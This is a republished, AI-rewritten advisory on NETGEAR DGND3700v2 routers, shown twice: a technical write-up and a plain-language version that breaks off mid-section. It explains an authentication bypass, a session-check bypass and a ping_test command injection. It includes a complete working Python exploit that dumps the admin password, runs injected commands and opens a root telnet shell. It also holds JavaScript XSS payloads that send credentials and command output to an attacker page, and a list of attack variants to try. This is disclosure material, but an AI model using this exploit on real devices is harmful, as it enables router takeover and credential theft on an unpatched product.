Skip to content
RCE Write-up Intermediate

SSD Advisory – NETGEAR DGND3700v2 PreAuth Root Access

Two flaws in the NETGEAR DGND3700v2 router allow an unauthenticated attacker to bypass authentication and inject commands, resulting in root access. The attacker can then execute arbitrary commands on the device.

- Follow

Published on ssd-disclosure.com

Find out how two flaws in NETGEAR DGND3700v2 devices allow remote unauthenticated attackers to trigger bypass the authentication mechanism and run commands as root.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

Context

NETGEAR DGND3700v2 is a DSL modem router whose web administration interface is served by an HTTP server derived from mini_httpd, with some modifications and customisation. Almost all of the web functionality is implemented in a CGI executable called setup.cgi, which the report describes as most likely written in C. The HTTP server sets up the environment variables that setup.cgi reads in order to understand the request it has to serve.

Two logic flaws in this device let a remote, unauthenticated attacker bypass the authentication mechanism and then run commands as root. The first is an authentication and session bypass; the second is a command injection in the ping_test functionality. The report states that the flaws were tested against all available firmware versions, and the affected versions are listed as NETGEAR DGND3700v2, all firmware versions. No CVE had been assigned at the time of publication (the report says TBD).

The vendor's response was that NETGEAR would not release a fix for this vulnerability on the affected product because the product is outside of the security support period, and that current in-support models are not affected.

Setup

The attack works in two situations, depending on where the attacker sits:

  1. From the LAN, which also covers devices that have turned on remote management.
  2. Directly from the Internet, for example through a browser exploit.

The report links a Shodan query for devices matching realm="NETGEAR DGND3700v2" as an example of exposed remote management. For the LAN and remote-management case the researcher provides a Python tool, longue-vue.py, whose usage output is shown as:

Text
>python exploit.py
           .    '                   .  "   '
                  .  .  .                 '      '
          "`       .   .
                                           '     '
        .    '      _______________
                ==c(___(o(______(_()
                        \=\
                         )=\
                        //|\\
                       //|| \\
                      // ||  \\
                     //  ||   \\
                    //         \\
    «Longue vue» LAN exploit targeting NETGEAR DGND3700v2
usage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET]
optional arguments:
  -h, --help       show this help message and exit
  --dump-pwd
  --shell
  --cmd CMD
  --target TARGET

The tool takes a target and can dump the administration password, run a single command, or drop into a shell. The report notes that routerlogin.com should resolve to the device IP when using it.

For the Internet scenario the setup is a static web server started from the web/ directory with python -m http.server, plus a hosts file entry pointing a domain at the attacker's local IP. The hosts file is C:\Windows\System32\drivers\etc\hosts on Windows and /etc/hosts on Linux, and the entry looks like:

Text
[...]
[redacted] longue-vue.net

With that in place the attacker opens a browser, navigates to longue-vue.net and presses the button. The report says the browser exploit was only tested on Microsoft Edge Chromium, and that the author sees no reason it would not work on regular Chrome.

Finding it

The researcher describes the web authentication design as very bad. The HTTP server sets an environment variable called NEED_AUTH before invoking setup.cgi, and setup.cgi runs its authentication code accordingly. Because some resources must be reachable without authentication, such as the page shown after entering wrong credentials, the server tries to work out whether a resource needs authentication. It does this partly by checking whether the URL contains one of a hard-coded list of special pages:

Text
.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting
.data:0041EB20                           # DATA XREF: handle_request+12F8↑o
.data:0041EB20                           # main+BF0↑o
.data:0041EB20                           # "currentsetting.htm"
.data:0041EB24  .word aUpdateSettingH    # "update_setting.htm"
.data:0041EB28  .word aDebuginfoHtm      # "debuginfo.htm"
.data:0041EB2C  .word aImportantUpdat    # "important_update.htm"
.data:0041EB30  .word aMNUtopHtm         # "MNU_top.htm"
.data:0041EB34  .word aWarningPgHtm      # "warning_pg.htm"
.data:0041EB38  .word aMultiLoginHtml    # "multi_login.html"
.data:0041EB3C  .word aHtpwdRecoveryC    # "htpwd_recovery.cgi"
.data:0041EB40  .word a401RecoveryHtm    # "401_recovery.htm"
.data:0041EB44  .word a401AccessDenie    # "401_access_denied.htm"

The matching logic in handle_request walks that list and special-cases the request on a substring hit:

Text
// .text:0040609C handle_request
char *handle_request()
{
  //...
  CurrSpecialPagePtr = (const char **)SpecialNonAuthPages;
  while ( 1 )
  {
    CurrSpecialPage = *CurrSpecialPagePtr;
    if ( !*CurrSpecialPagePtr )
      break;
    ++CurrSpecialPagePtr;
    // If we find a hit, we special case the request
    if ( strstr(v60, CurrSpecialPage) )
      goto LABEL_171;
  }
  if ( !strstr(v60, ".gif")
    && !strstr(v60, ".css")
    && !strstr(v60, ".js")
    && !strstr(v60, ".xml")
    && !strstr(v60, ".jpg") )
  {
    goto LABEL_173;
  }
LABEL_171:
  NeedAuth = 0;

Because the check is a strstr over the URL, an attacker can append foo=currentsetting.htm to any authenticated URL and the request is treated as needing no authentication. That is the first flaw.

The second flaw is in the session handling inside setup.cgi. A stripped version of main shows how the session file path is built and compared:

Text
int __cdecl main(int argc, const char **argv, const char **envp)
{
  // ...
  strcpy(SessionFilepath, "/tmp/SessionFile");
  memset(&SessionFilepath[17], 0, 0x6Fu);
  // ...
  QueryStringIdPtr = strstr(QueryString, "id=");
  if ( !QueryStringIdPtr )
  {
      // ...
  }
  QueryStringId = strtol(QueryStringIdPtr + 3, &QueryStringAfterIdPtr, 16);
  if ( QueryStringAfterIdPtr )
  {
    QueryStringSpPtr = strstr(QueryStringAfterIdPtr, "sp=");
    if ( QueryStringSpPtr )
      strcat(SessionFilepath, QueryStringSpPtr + 3);
  }
  SessionId = ReadSessionId(SessionFilepath);
  ConFd__ = fopen("/dev/console", "w");
  if ( ConFd__ )
  {
    fprintf(ConFd__, "[ %s - %d ] : ", "sid_verify", 201);
    fprintf(ConFd__, "<%s> your_sid = <%08x>, my_sid = <%08x> \n", SessionFilepath, QueryStringId, SessionId);
    fflush(ConFd__);
    fclose(ConFd__);
  }
  if ( QueryStringId != SessionId )
    goto SendForbidden;
  // ...
}

The code creates a file called /tmp/SessionFileXXX containing an integer, and when setup.cgi receives the sp=XXX parameter it concatenates that value onto /tmp/SessionFile to form the path. The report notes in passing that this also has a remote pre-auth stack overflow. ReadSessionId then opens the path and reads a hexadecimal value:

Text
int __fastcall ReadSessionId(const char *Filename)
{
  FILE *Fd;
  int SessionId;
  SessionId = 0;
  Fd = fopen(Filename, "r");
  if ( !Fd )
    return SessionId;
  fscanf(Fd, "%x", &SessionId);
  fclose(Fd);
  return SessionId;
}

The caller compares the value passed in id= with the value read from the file. If they match, execution continues; otherwise the user gets a forbidden response. The researcher calls this the session bypass and says he is not sure whether it is a real security measure at all.

Exploitation

Step 1: bypass authentication to read the administration credentials

Appending foo=currentsetting.htm to an authenticated URL makes the server set NEED_AUTH to 0. The exploit's password dump uses this to reach passwordrecovered.htm:

Python
def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd

The URL asks setup.cgi for next_file=passwordrecovered.htm and adds foo=currentsetting.htm, the substring that trips the non-auth special case. The response body is parsed for the router admin username and password, which are returned to the caller.

Step 2: bypass the session check

The session check compares id= against the contents of the file named by sp=. Passing sp=1337 points at a file that does not exist on the device, so fopen fails and ReadSessionId returns the initialised value of zero. Passing id=0 therefore matches, and the session check passes. The command execution helper combines both bypasses in one request:

Python
def cmd_exec(target, cmd, silent = False):
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',

Note that the query string in the report is written as id=0&sp=1337foo=currentsetting.htm, with no separator between the sp value and foo.

Step 3: reach the command handler

Once past the checks, setup.cgi dispatches on the parsed GET parameters, or on the POST body. HandleSetupCgi parses the input into a key/value list and then calls check_need_logout:

Text
int HandleSetupCgi()
{
  int List;
  const char *NextFile;
  const char *ActionName;
  List = cgi_input_parse();
  fflush(stdout);
  if ( check_need_logout(List) )
    return handle_logout(List);

check_need_logout is where NEED_AUTH is finally consulted:

Text
bool __fastcall check_need_logout(int List)
{
  // ...
  LoginIp = getenv("LOGIN_IP");
  NeedAuth = getenv("NEED_AUTH");
  // ...
  if ( NeedAuth )
  {
    Return = 0;
    if ( *NeedAuth == '0' )
      return Return;
  }
 //...
}

The function has to return zero for the caller to expose functionality. Because the HTTP server set NEED_AUTH to 0 thanks to the substring trick, it returns zero and the request proceeds. At this point any functionality exposed by the web UI is reachable, including the HTTP password leak.

Step 4: inject a command through ping_test

setup.cgi implements a command model, and one of the commands pings an arbitrary IP. It is the functionality available in Advanced > Administration > Diagnostics. The handler is:

Text
int __fastcall handler_ping_test(int a1)
{
  const char *v2; // $s2
  const char *v3; // $v0
  char v5[128]; // [sp+18h] [-80h] BYREF
  v2 = (const char *)find_val(a1, (int)"c4_IPAddr");
  if ( !v2 )
    v2 = &nptr;
  if ( !strchr(v2, '-') && !strchr(v2, ';') )
  {
    sprintf(v5, "/bin/ping -c 4 %s", v2);
    myPipe(v5, &ping_output);
  }
  v3 = (const char *)find_val(a1, (int)"next_file");
  html_parser(v3, a1, &key_fun_tab);
  return 0;
}

The c4_IPAddr POST parameter is formatted straight into a shell command with sprintf and passed to myPipe. The only two characters rejected are - and ;, which is not enough to stop injection. The exploit posts the following:

Python
def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'[redacted] && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })
    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())

The POST sends todo=ping_test, a c4_IPAddr value that starts with a valid ping target and chains the command with &&, and next_file=diagping.htm. The output of the command appears inside the ping_result textarea, and the exploit splits on the SNIPME marker to extract it.

Step 5: get a root shell

The report shows the tool obtaining a shell on the device:

Text
>python longue-vue.py --target routerlogin.com --shell
[...]
Getting a shell against routerlogin.com..
Waiting a few seconds before connecting..
Dropping in the shell, exit with ctrl+c
# /bin/ps
/bin/ps
  PID USER       VSZ STAT COMMAND
    1 root      1100 S    init
    2 root         0 SW<  [kthreadd]
    3 root         0 SW<  [migration/0]
    4 root         0 SW   [sirq-high/0]
    5 root         0 SW   [sirq-timer/0]
    6 root         0 SW   [sirq-net-tx/0]
    7 root         0 SW   [sirq-net-rx/0]
    8 root         0 SW   [sirq-block/0]
    9 root         0 SW   [sirq-tasklet/0]
   10 root         0 SW   [sirq-sched/0]
   11 root         0 SW   [sirq-hrtimer/0]
   12 root         0 SW   [sirq-rcu/0]
   13 root         0 SW<  [migration/1]
   14 root         0 SW   [sirq-high/1]
   15 root         0 SW   [sirq-timer/1]
   16 root         0 SW   [sirq-net-tx/1]
   17 root         0 SW   [sirq-net-rx/1]
   18 root         0 SW   [sirq-block/1]
   19 root         0 SW   [sirq-tasklet/1]
   20 root         0 SW   [sirq-sched/1]
   21 root         0 SW   [sirq-hrtimer/1]
   22 root         0 SW   [sirq-rcu/1]
   23 root         0 SW<  [events/0]
   24 root         0 SW<  [events/1]
   25 root         0 SW<  [khelper]
   28 root         0 SW<  [async/mgr]
   92 root         0 SW<  [kblockd/0]
   93 root         0 SW<  [kblockd/1]
  102 root         0 SW<  [khubd]
  120 root         0 SW<  [bpm]
  136 root         0 SW   [pdflush]
  137 root         0 SW   [pdflush]
  138 root         0 SWN  [kswapd0]
  140 root         0 SW<  [crypto/0]
  141 root         0 SW<  [crypto/1]
  198 root         0 SW<  [mtdblockd]
  246 root         0 SW   [board-timer]
  250 root         0 SW<  [linkwatch]
  306 root         0 SW   [kpAliveWatchdog]
  312 root         0 SW   [dsl0]
  321 root         0 SW   [bcmsw]
  322 root         0 SW   [bcmsw_timer]
  409 root      1500 S    /usr/sbin/swmdk
  411 root      1500 S    /usr/sbin/swmdk
  412 root      1500 S    /usr/sbin/swmdk
  417 root      1272 S    /sbin/klogd
  419 root       808 S    /usr/sbin/cmd_agent_ap
  421 root         0 SWN  [jffs2_gcd_mtd4]
  422 root         0 SWN  [jffs2_gcd_mtd3]
  423 root         0 SWN  [jffs2_gcd_mtd12]
  424 root         0 SWN  [jffs2_gcd_mtd11]
  425 root         0 SWN  [jffs2_gcd_mtd10]
  426 root         0 SWN  [jffs2_gcd_mtd9]
  427 root         0 SWN  [jffs2_gcd_mtd2]
  428 root         0 SWN  [jffs2_gcd_mtd8]
[...]
# *** Connection closed by remote host ***
Cleaning up..
Joining..
----------------------------Done----------------------------

The shell is obtained by spawning the device's telnet server through the command injection:

Python
def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

The tool waits five seconds, connects with telnetlib, and on exit kills the server with /bin/kill $(/bin/pidof utelnetd). The ps output shows the processes running as root, which is the privilege level the injected commands get.

Step 6: bypass CORS in the browser scenario

When the exploit runs from the browser, the origin longue-vue.net is not allowed to read cross-origin data. It can still send requests and trigger the flaws, but it cannot read the results. The workaround is to turn the command execution into an XSS: the injected command runs /bin/echo PAYLOAD, and the payload executes in the router's origin, from where it can send data back to the attacker's server. The password leak is implemented this way:

JavaScript
//
// Dump the passwords of the administrator.
//
function dumpPasswords() {
  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //
  const payload = `fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`;
  return execute(payload).then(R => {
    const [loginMatch, pwdMatch] = R.matchAll(/Router Admin (?:Username|Password)<\/span>:&nbsp;(.+)<\/td>/g);
    return {'login':loginMatch[1], 'pwd':pwdMatch[1]};
  });
}

The same technique reads the output of arbitrary commands:

JavaScript
//
// Execute a shell command on the router.
//
function executeCommand(command) {
  if (command.includes(';') || command.includes('-')) {
    throw 'cannot inject ";" or "-"';
  }
  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //
  const payload = "parent.postMessage(document.body.outerHTML,'*')";
  const commands = ['/bin/echo BEGIN', command, '/bin/echo END'];
  return execute(payload, commands).then(r => {
    const [_, result] = r.match(/BEGIN\n(.+)\nEND/s);
    return result;
  });
}

The client-side helper refuses commands containing ; or -.

The full exploit

The report closes with the complete script, which ties the pieces together:

Python
import requests
import re
import threading
import telnetlib
import time
import argparse
def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd
def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'[redacted] && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })
    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())
def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)
def main():
    parser = argparse.ArgumentParser('Longue vue')
    parser.add_argument('--dump-pwd', action = 'store_true', default = False)
    parser.add_argument('--shell', action = 'store_true', default = False)
    parser.add_argument('--cmd')
    parser.add_argument('--target', default = 'routerlogin.com')
    args = parser.parse_args()
    if not args.dump_pwd and not args.shell and not args.cmd:
        parser.print_help()
        return
    if args.dump_pwd:
        print('Dumping administration password...')
        login, pwd = dump_http_pwd(args.target)
        print(f'Login: {repr(login)}, Password: {repr(pwd)}')
    if args.cmd is not None:
        if '-' in args.cmd or ';' in args.cmd:
            print('Both "-" and ";" are disallowed by the command injection bug, use the shell instead.')
            return
        print(f'Executing {repr(args.cmd)} against {args.target}..')
        cmd_exec(args.target, args.cmd)
    if args.shell:
        print(f'Getting a shell against {args.target}..')
        telnetd = threading.Thread(target = spawn_telnetd, args = (args.target, ))
        telnetd.start()
        print('Waiting a few seconds before connecting..')
        time.sleep(5)
        print('Dropping in the shell, exit with ctrl+c')
        try:
            with telnetlib.Telnet(args.target) as tn:
                tn.mt_interact()
        except:
            pass
        print('Cleaning up..')
        cmd_exec(args.target, '/bin/kill $(/bin/pidof utelnetd)', silent = True)
        print('Joining..')
        telnetd.join()
    print('Done'.center(60, '-'))
main()

Root cause

The authentication decision is made by substring matching the request URL against a list of pages that are allowed to be unauthenticated. Because the match is a strstr over the whole URL, any authenticated request can carry a harmless-looking parameter such as foo=currentsetting.htm and be treated as a special non-auth page, so the server sets NEED_AUTH=0 and setup.cgi skips authentication.

The session check is defeated by its own error handling. The session file path is built by concatenating the attacker-controlled sp= value onto /tmp/SessionFile, and ReadSessionId returns zero when the file cannot be opened. Choosing an sp value that does not exist therefore makes the expected session ID zero, and id=0 matches it. The report also notes in passing that there is a remote pre-auth stack overflow, though it does not analyse it further.

The command injection exists because c4_IPAddr is formatted directly into a shell command with sprintf and passed to myPipe. The only validation is a rejection of - and ;, which leaves && and other shell metacharacters available.

Impact

A remote, unauthenticated attacker can bypass the authentication mechanism and run commands as root on the device. From the LAN, or from the Internet when remote management is enabled, this means reading the router administration credentials, executing arbitrary commands, and spawning a telnet server for an interactive root shell. In the browser scenario the attacker can also exfiltrate the administrator's credentials and command output despite CORS, by turning the command injection into XSS in the router's origin. The report does not give a CVSS score or a severity rating.

Fix

No fix was released. NETGEAR's response, quoted in the report, is that it will not release a fix for this vulnerability on the affected product because the product is outside of the security support period, and that current in-support models are not affected. The report does not describe any code change or mitigation.

Variants to test

  1. Append a non-auth page name as a parameter value to an authenticated URL, for example foo=currentsetting.htm, and see whether the response returns protected content instead of a login or forbidden page. A positive result is the administration page or credential page rendering without a session.
  2. Try the other names from the special-page list, such as debuginfo.htm, update_setting.htm or 401_recovery.htm, in the same position. A positive result is any of them granting access to a page that should require authentication.
  3. Send id=0 together with an sp= value that does not correspond to an existing session file, and check whether the request proceeds past the session check. A positive result is a normal page response rather than a forbidden one.
  4. Submit todo=ping_test with a c4_IPAddr value containing && followed by a command, and inspect the ping_result textarea. A positive result is the command's output appearing in the response.
  5. Test whether characters other than - and ; can chain commands, since the filter only checks those two. A positive result is command output from a payload that uses a different separator.
  6. Where the target is reachable only through a browser, inject /bin/echo with a script payload and check whether it executes in the router's origin and can post data back to an attacker-controlled page. A positive result is data arriving at the attacker server despite CORS.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 29 min read.

What happened, in plain words

A DSL modem router is the box your internet provider gives you: it connects your home to the phone line and also runs a small website you open in a browser to change settings, such as the Wi-Fi password. That little website is called the web administration interface. On the NETGEAR DGND3700v2, that website is served by a small web server program derived from an open-source one called mini_httpd, with some changes made by the vendor. Almost everything the website does is handled by a single program called setup.cgi. A CGI program is a program the web server runs each time a request arrives; the server passes it details about the request through environment variables, which are named pieces of text the operating system hands to a running program.

Two mistakes in this device let someone who can reach the router, with no username and no password, take full control of it. The first mistake is in how the router decides whether a page needs a login: it looks for certain page names inside the address you request, and if it finds one, it skips the login. The second mistake is in the ping tool on the diagnostics page: whatever you type as the address to ping is pasted straight into a command the router runs, so you can add extra commands of your own. Together they let an attacker read the router's admin username and password and run commands as root, which is the most powerful account on a Linux-based device, the one with no restrictions.

The report says the flaws were tested against all available firmware versions. Firmware is the software built into the device. The affected versions are listed as NETGEAR DGND3700v2, all firmware versions. No CVE had been assigned at the time of publication; a CVE is a public identifier given to a known security flaw so people can track it, and the report says TBD, meaning to be determined.

The vendor's answer was that NETGEAR would not release a fix for this vulnerability on the affected product because the product is outside of the security support period, and that current in-support models are not affected. In other words, the router is too old to still receive updates, so the flaw stays.

Setting up the attack

The attack works in two situations, depending on where the attacker sits:

  1. From the LAN, the local network inside the home, which also covers devices that have turned on remote management. Remote management is a setting that lets you reach the router's admin website from outside the home.
  2. Directly from the Internet, for example through a browser exploit, meaning a web page that does the work when the victim opens it.

The report links a Shodan query for devices matching realm="NETGEAR DGND3700v2" as an example of exposed remote management. Shodan is a search engine for internet-connected devices; the query finds routers that answer on the public internet.

For the LAN and remote-management case the researcher provides a Python tool, longue-vue.py. Python is a programming language; a script is a text file of instructions you run. Its usage output is shown as:

Text
>python exploit.py
           .    '                   .  "   '
                  .  .  .                 '      '
          "`       .   .
                                           '     '
        .    '      _______________
                ==c(___(o(______(_()
                        \=\
                         )=\
                        //|\\
                       //|| \\
                      // ||  \\
                     //  ||   \\
                    //         \\
    «Longue vue» LAN exploit targeting NETGEAR DGND3700v2
usage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET]
optional arguments:
  -h, --help       show this help message and exit
  --dump-pwd
  --shell
  --cmd CMD
  --target TARGET

Line by line: the first line runs the script with Python. The lines below it are an ASCII-art drawing of a telescope and the tool's name, «Longue vue», French for "long view". The usage: line shows how to call the tool. -h or --help prints the help text and exits. --dump-pwd asks the tool to fetch the administration password. --shell asks it to give you an interactive shell, a prompt where you type commands that run on the router. --cmd CMD asks it to run one command, given after the flag. --target TARGET says which device to attack. The tool takes a target and can dump the administration password, run a single command, or drop into a shell. The report notes that routerlogin.com should resolve to the device IP when using it; resolve means the name is turned into the device's numeric address, which you arrange by editing the hosts file described below.

For the Internet scenario the setup is a static web server started from the web/ directory with python -m http.server, plus a hosts file entry pointing a domain at the attacker's local IP. A static web server just hands out files from a folder; python -m http.server is a one-line way to start one. The hosts file is a small text file on your own computer that maps names to addresses before the internet's name system is consulted, so you can make a made-up name point at your own machine. It is C:\Windows\System32\drivers\etc\hosts on Windows and /etc/hosts on Linux, and the entry looks like:

Text
[...]
[redacted] longue-vue.net

Line by line: [...] stands for the existing contents of the file, which you leave alone. The second line says that the name longue-vue.net should be understood as the address [redacted], the attacker's own machine on the local network. The address here is the one printed in the report.

With that in place the attacker opens a browser, navigates to longue-vue.net and presses the button. The page served from the attacker's machine contains the browser exploit. The report says the browser exploit was only tested on Microsoft Edge Chromium, and that the author sees no reason it would not work on regular Chrome. Chromium is the engine both browsers share.

Finding the flaws

The researcher describes the web authentication design as very bad. Authentication means proving who you are, normally with a username and password. The HTTP server sets an environment variable called NEED_AUTH before invoking setup.cgi, and setup.cgi runs its authentication code accordingly. Because some resources must be reachable without authentication, such as the page shown after entering wrong credentials, the server tries to work out whether a resource needs authentication. It does this partly by checking whether the URL contains one of a hard-coded list of special pages:

Text
.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting
.data:0041EB20                           # DATA XREF: handle_request+12F8↑o
.data:0041EB20                           # main+BF0↑o
.data:0041EB20                           # "currentsetting.htm"
.data:0041EB24  .word aUpdateSettingH    # "update_setting.htm"
.data:0041EB28  .word aDebuginfoHtm      # "debuginfo.htm"
.data:0041EB2C  .word aImportantUpdat    # "important_update.htm"
.data:0041EB30  .word aMNUtopHtm         # "MNU_top.htm"
.data:0041EB34  .word aWarningPgHtm      # "warning_pg.htm"
.data:0041EB38  .word aMultiLoginHtml    # "multi_login.html"
.data:0041EB3C  .word aHtpwdRecoveryC    # "htpwd_recovery.cgi"
.data:0041EB40  .word a401RecoveryHtm    # "401_recovery.htm"
.data:0041EB44  .word a401AccessDenie    # "401_access_denied.htm"

This is a fragment of the program's compiled code, shown as a disassembler prints it. A disassembler turns the machine code back into readable text. The left column is the memory address where each item sits. SpecialNonAuthPages is the name of a list; each .word line is one entry in that list, holding the address of a page name. The # comments show what each name actually is: currentsetting.htm, update_setting.htm, debuginfo.htm, important_update.htm, MNU_top.htm, warning_pg.htm, multi_login.html, htpwd_recovery.cgi, 401_recovery.htm and 401_access_denied.htm. These are the pages the server is willing to serve without a login.

The matching logic in handle_request walks that list and special-cases the request on a substring hit:

Text
// .text:0040609C handle_request
char *handle_request()
{
  //...
  CurrSpecialPagePtr = (const char **)SpecialNonAuthPages;
  while ( 1 )
  {
    CurrSpecialPage = *CurrSpecialPagePtr;
    if ( !*CurrSpecialPagePtr )
      break;
    ++CurrSpecialPagePtr;
    // If we find a hit, we special case the request
    if ( strstr(v60, CurrSpecialPage) )
      goto LABEL_171;
  }
  if ( !strstr(v60, ".gif")
    && !strstr(v60, ".css")
    && !strstr(v60, ".js")
    && !strstr(v60, ".xml")
    && !strstr(v60, ".jpg") )
  {
    goto LABEL_173;
  }
LABEL_171:
  NeedAuth = 0;

Line by line: handle_request is the function that deals with each incoming request. CurrSpecialPagePtr is a pointer, a variable holding an address, that starts at the beginning of the special-page list. The while ( 1 ) loop runs forever until something breaks it. Inside, CurrSpecialPage takes the current entry. If the entry is empty, the loop breaks, meaning the list has ended. Otherwise the pointer moves to the next entry. strstr(v60, CurrSpecialPage) searches the request text, held in v60, for the page name; strstr finds a piece of text inside another piece of text. If it finds one, goto LABEL_171 jumps to the label at the bottom. If the loop ends without a hit, the code checks whether the request ends in .gif, .css, .js, .xml or .jpg, which are images, stylesheets and scripts that are also allowed without a login; if none match, it jumps to LABEL_173, the normal path that requires authentication. At LABEL_171, NeedAuth = 0 records that this request does not need a login.

Because the check is a strstr over the URL, an attacker can append foo=currentsetting.htm to any authenticated URL and the request is treated as needing no authentication. That is the first flaw.

The second flaw is in the session handling inside setup.cgi. A session is a short-lived record that you have already logged in, so you do not have to type the password on every page. A stripped version of main, the function where a program starts, shows how the session file path is built and compared:

Text
int __cdecl main(int argc, const char **argv, const char **envp)
{
  // ...
  strcpy(SessionFilepath, "/tmp/SessionFile");
  memset(&SessionFilepath[17], 0, 0x6Fu);
  // ...
  QueryStringIdPtr = strstr(QueryString, "id=");
  if ( !QueryStringIdPtr )
  {
      // ...
  }
  QueryStringId = strtol(QueryStringIdPtr + 3, &QueryStringAfterIdPtr, 16);
  if ( QueryStringAfterIdPtr )
  {
    QueryStringSpPtr = strstr(QueryStringAfterIdPtr, "sp=");
    if ( QueryStringSpPtr )
      strcat(SessionFilepath, QueryStringSpPtr + 3);
  }
  SessionId = ReadSessionId(SessionFilepath);
  ConFd__ = fopen("/dev/console", "w");
  if ( ConFd__ )
  {
    fprintf(ConFd__, "[ %s - %d ] : ", "sid_verify", 201);
    fprintf(ConFd__, "<%s> your_sid = <%08x>, my_sid = <%08x> \n", SessionFilepath, QueryStringId, SessionId);
    fflush(ConFd__);
    fclose(ConFd__);
  }
  if ( QueryStringId != SessionId )
    goto SendForbidden;
  // ...
}

Line by line: strcpy(SessionFilepath, "/tmp/SessionFile") copies the starting text /tmp/SessionFile into a buffer, a fixed-size area of memory for text. memset then zeroes the rest of that buffer. strstr(QueryString, "id=") looks for id= in the query string, the part of the URL after the question mark that carries parameters. strtol(QueryStringIdPtr + 3, ..., 16) reads the text just after id= as a hexadecimal number, base 16, and stores it in QueryStringId. If there is text after that number, the code looks for sp= in it, and strcat appends whatever follows sp= onto the session file path. ReadSessionId then reads the number stored in that file. The code also writes a debug line to /dev/console, the device's console, showing the path, the ID you sent and the ID it found. Finally, if QueryStringId does not equal SessionId, it jumps to SendForbidden, which refuses the request.

The code creates a file called /tmp/SessionFileXXX containing an integer, and when setup.cgi receives the sp=XXX parameter it concatenates that value onto /tmp/SessionFile to form the path. The report notes in passing that this also has a remote pre-auth stack overflow, meaning a memory corruption bug reachable before login, but it does not analyse it further. ReadSessionId then opens the path and reads a hexadecimal value:

Text
int __fastcall ReadSessionId(const char *Filename)
{
  FILE *Fd;
  int SessionId;
  SessionId = 0;
  Fd = fopen(Filename, "r");
  if ( !Fd )
    return SessionId;
  fscanf(Fd, "%x", &SessionId);
  fclose(Fd);
  return SessionId;
}

Line by line: SessionId starts at zero. fopen(Filename, "r") tries to open the file for reading and returns a handle, or nothing if it fails. If opening failed, the function returns the zero it started with. Otherwise fscanf(Fd, "%x", &SessionId) reads a hexadecimal number from the file into SessionId, the file is closed, and the value is returned.

The caller compares the value passed in id= with the value read from the file. If they match, execution continues; otherwise the user gets a forbidden response. The researcher calls this the session bypass and says he is not sure whether it is a real security measure at all.

Carrying out the attack

Step 1: skip the login and read the administration credentials

Appending foo=currentsetting.htm to an authenticated URL makes the server set NEED_AUTH to 0. The exploit's password dump uses this to reach passwordrecovered.htm, a page that shows the recovered admin password:

Python
def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd

Line by line: def dump_http_pwd(target): defines a function, a named block of code you can call, that takes the target address. The triple-quoted text is a docstring, a note describing what the function does. requests.get(...) sends a GET request, the kind a browser sends when you open a page, to the URL built from the target. The URL asks setup.cgi for next_file=passwordrecovered.htm, and adds foo=currentsetting.htm, the substring that trips the non-auth special case. r.content.decode() turns the reply's raw bytes into text. re.findall searches that text with a pattern, a regular expression, for the router admin username and password, which sit between Router Admin Username or Router Admin Password and the closing table cell. The two captured values are returned. The URL asks setup.cgi for next_file=passwordrecovered.htm and adds foo=currentsetting.htm, the substring that makes the server skip the login. The response body is parsed for the router admin username and password, which are returned to the caller.

Step 2: defeat the session check

